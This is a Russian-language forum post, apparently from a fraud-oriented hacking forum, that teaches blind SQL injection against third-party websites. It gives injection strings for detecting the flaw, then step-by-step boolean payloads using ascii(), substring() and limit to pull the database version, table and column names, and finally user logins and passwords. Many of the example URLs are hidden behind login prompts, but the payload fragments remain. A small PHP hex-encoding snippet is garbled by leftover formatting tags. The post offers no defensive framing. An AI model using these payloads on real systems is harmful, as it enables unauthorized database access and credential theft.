1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Использование Слепых SQL инъекций

Тема в разделе "Чужие", создана пользователем Viclug, 18 окт 2012.

  1. TopicStarter Overlay
    Viclug

    Viclug Gott mit Uns!

    Регистрация:
    22 июн 2012
    Сообщения:
    620
    Симпатии:
    468
    Вступление
    Здравствуй уважаемый читатель. В данной статье пойдет речь о эксплуатации слепых SQL инъекций.
    Если ты еще незнаком с данной уязвимостью то можешь прочитать мануал по SQL инъекциям Please login or register to view links

    Обнаружение BLIND SQL INJECTION
    Код:
    1.page.php?id=1' and '1'='0
    Код:
    
    
    Код:
    
    
    Код:
    2.page.php?id=1 and 1=0
    3.page.php?id=1'/*
    и т.д.

    Допустим у нас есть некоторый сайт - Please login or register to view links
    Подставив кавычку (_Please login or register to view links') мы видим что страница исчезла но никаких ошибок нет.
    Пробуем использовать логику:
    _Please login or register to view links and 1=1 – страница отображается;
    _Please login or register to view links and 1=0 – страница отображается;
    _Please login or register to view links' and '1'='1- страница отображается;
    _Please login or register to view links' and '1'='0 – страница исчезла;
    Все мы нашли уязвимость.Теперь самое главное – раскрутка.
    Давайте попробуем составить следующий запрос:
    _Please login or register to view links
    Видим что страница отобразилась нормально.Если нет то можно попробывать изменить комментарий на ' -- ', '#'.Для уверенности пробуем составить следующий запрос:
    _Please login or register to view links' and ascii(1)=49/* - страница отобразилась нормально;
    _Please login or register to view links' and ascii(1)=76/* - страница исчезла т.к. ASCII код 1 - 49;
    Функция ascii() возращает ASCII код первого символа строки или ноль если строка пустая т.е. запрос типа select ascii(111) вернет 49, а не 494949.

    Раскрутка BLIND SQL INJECTION

    При обычной SQL инъекции мы получаем данные строками.При слепых инъекциях такого счастья нет и все данные мы получаем посимвольно.
    Давайте вернемся к нашему сайту.Первое что мы сделаем это узнаем версию:
    _Please login or register to view links
    substring(str,pos,length) - копирует строку str с позиции pos длиной lentgh.
    Если первый символ версии равен ASCII коду 52 (четырем) то страница отобразится нормально иначе исчезнет.Также пробуем вместо 52 подставить 53 (пять).
    Преимущество пятой версии в том что что можно посимвольно доставать нужные нам таблицы и колонки.В четвертой версии нам пришлось бы угадывать и таблицу и к ней колонки.
    Пусть наш сайт имеет пятую версию.Теперь давайте попробуем посимвольно перебрать все таблицы:
    _Please login or register to view links
    Если ASCII код первого символа первой таблицы больше нуля то страница загрузится нормально.Для того чтобы перебирать таблицы мы будем изменять значене limit:
    _Please login or register to view links2,1),1,1))>0,555,777)/* - вторая таблица
    _Please login or register to view links3,1),1,1))>0,555,777)/* - третья таблица
    и т.д.
    Для подбора символов таблицы мы будем использовать запрос типа:
    _Please login or register to view links))>100,555,777)/*
    Если ASCII код первого символа больше ста то страница отобразится нормально иначе исчезнет.
    _Please login or register to view links))>110,555,777)/*
    Если ASCII код первого символа больше чем 110 то страница отобразится нормпльно иначе исчезнет и т.д.
    Допустим мы нашли таблицу ,первый символ которой начинается с 'u'.Вполне возможно что это таблица users,но проверка не помешает.
    _Please login or register to view links),1,1))=117,555,777)/* - символ ' u ';
    _Please login or register to view links),2,1))=115,555,777)/* - символ ' s ' страница загрузилась нормально;
    _Please login or register to view links),3,1))=101,555,777)/* - символ ' e ' пока все нормально;
    _Please login or register to view links),4,1))=114,555,777)/* - символ ' r ';
    _Please login or register to view links),5,1))=115,555,777)/* - символ ' s ';
    _Please login or register to view links),6,1))=0,555,777)/*
    Как видите мы изменяем значение функции substring тем самым изменяя подбираемый символ.
    Если последний запрос вернул страницу в нормальном виде то это значит что после таблицы нет никаких других символов.
    Теперь, зная таблицу мы должны узнать ее колонки.Для этого составим следующий запрос:
    _Please login or register to view links 0,1),1,1))>0,555,777)/*
    0x7573657273 - переведенная в HEX таблица users.
    Код для перевода:
    PHP:
    <?php[/FONT][/SIZE][/COLOR]
    [
    COLOR=#bcbcbc][SIZE=14px][FONT=Helvetica Neue]$l="users";[/FONT][/SIZE][/COLOR]
    [COLOR=#bcbcbc][SIZE=14px][FONT=Helvetica Neue]$r=bin2hex($l);[/FONT][/SIZE][/COLOR]
    [COLOR=#bcbcbc][SIZE=14px][FONT=Helvetica Neue]echo "0x".$r;[/FONT][/SIZE][/COLOR]
    [COLOR=#bcbcbc][SIZE=14px][FONT=Helvetica Neue]?>

    Если первый символ колонки у таблицы users больше нуля то страница отобразится нормально иначе исчезнет.Аналогично меняя значение limit мы перебираем колонки:
    _Please login or register to view links 1,1),1,1))>0,555,777)/*
    _Please login or register to view links 2,1),1,1))>0,555,777)/*
    _Please login or register to view links 3,1),1,1))>0,555,777)/*
    А меняя значение substring мы перебираем символы колонки:
    _Please login or register to view links 5,1),1,1))>0,555,777)/*
    _Please login or register to view links 5,1),2,1))>0,555,777)/*
    _Please login or register to view links 5,1),3,1))>0,555,777)/*
    и т.д.
    Пусть мы нашли колонки login password.Теперь нам нужно получить данные этих колонок.Составим следующий запрос:
    _Please login or register to view links
    Если ASCII код первого символа колонки login у таблицы users больше нуля то страница отобразится нормально.Limit`ом мы здесь перебираем данные login.
    _Please login or register to view links - 1 логин;
    _Please login or register to view links - 2 логин;
    и т.д.
    Аналогичным способом вытаскиваем пароли.Если эта таблица содержит много пользователей то скорее всего в ней есть колонка типа id userid uid и т.д. чтоб не перебирать все пароли можно составить запрос типа:
    _Please login or register to view links
    т.е. мы будем перебирать пароль к пользователю у которого id=20.
    Желаю удачи. (С) Инхорн
     
    • Like Like x 1
    Метки:

Поделиться этой страницей

Загрузка...